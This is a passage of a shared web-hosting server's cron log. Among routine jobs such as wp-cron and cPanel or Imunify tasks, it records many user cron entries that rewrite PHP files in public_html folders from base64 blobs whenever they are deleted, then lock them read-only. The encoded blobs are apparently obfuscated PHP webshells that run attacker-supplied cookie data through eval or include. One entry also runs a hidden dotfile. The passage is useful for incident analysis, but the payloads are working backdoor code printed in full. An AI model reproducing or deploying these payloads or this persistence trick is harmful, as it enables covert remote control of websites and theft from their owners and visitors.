CldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:43:01 medusa CROND[10568]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:43:01 medusa CROND[10569]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:43:01 medusa CROND[10570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:43:01 medusa CROND[10571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:43:01 medusa CROND[10572]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:43:01 medusa CROND[10573]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 07:43:01 medusa CROND[10579]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 07:43:01 medusa CROND[10578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:43:01 medusa CROND[10574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:43:01 medusa CROND[10583]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:43:01 medusa CROND[10584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:43:01 medusa CROND[10585]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:43:01 medusa CROND[10594]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:43:01 medusa CROND[10597]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:44:01 medusa CROND[12418]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:44:01 medusa CROND[12429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:44:01 medusa CROND[12430]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:44:01 medusa CROND[12431]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:44:01 medusa CROND[12432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:44:01 medusa CROND[12433]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:44:01 medusa CROND[12434]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:44:01 medusa CROND[12435]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:44:01 medusa CROND[12437]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:44:01 medusa CROND[12440]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:44:01 medusa CROND[12439]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:44:01 medusa CROND[12447]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:44:01 medusa CROND[12454]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:45:01 medusa CROND[14264]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:45:01 medusa CROND[14267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:45:01 medusa CROND[14271]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:45:02 medusa CROND[14277]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:45:02 medusa CROND[14279]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:45:02 medusa CROND[14281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:45:02 medusa CROND[14280]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:45:02 medusa CROND[14282]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:45:02 medusa CROND[14284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:45:02 medusa CROND[14285]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 07:45:02 medusa CROND[14286]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:45:02 medusa CROND[14288]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:45:02 medusa CROND[14287]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0t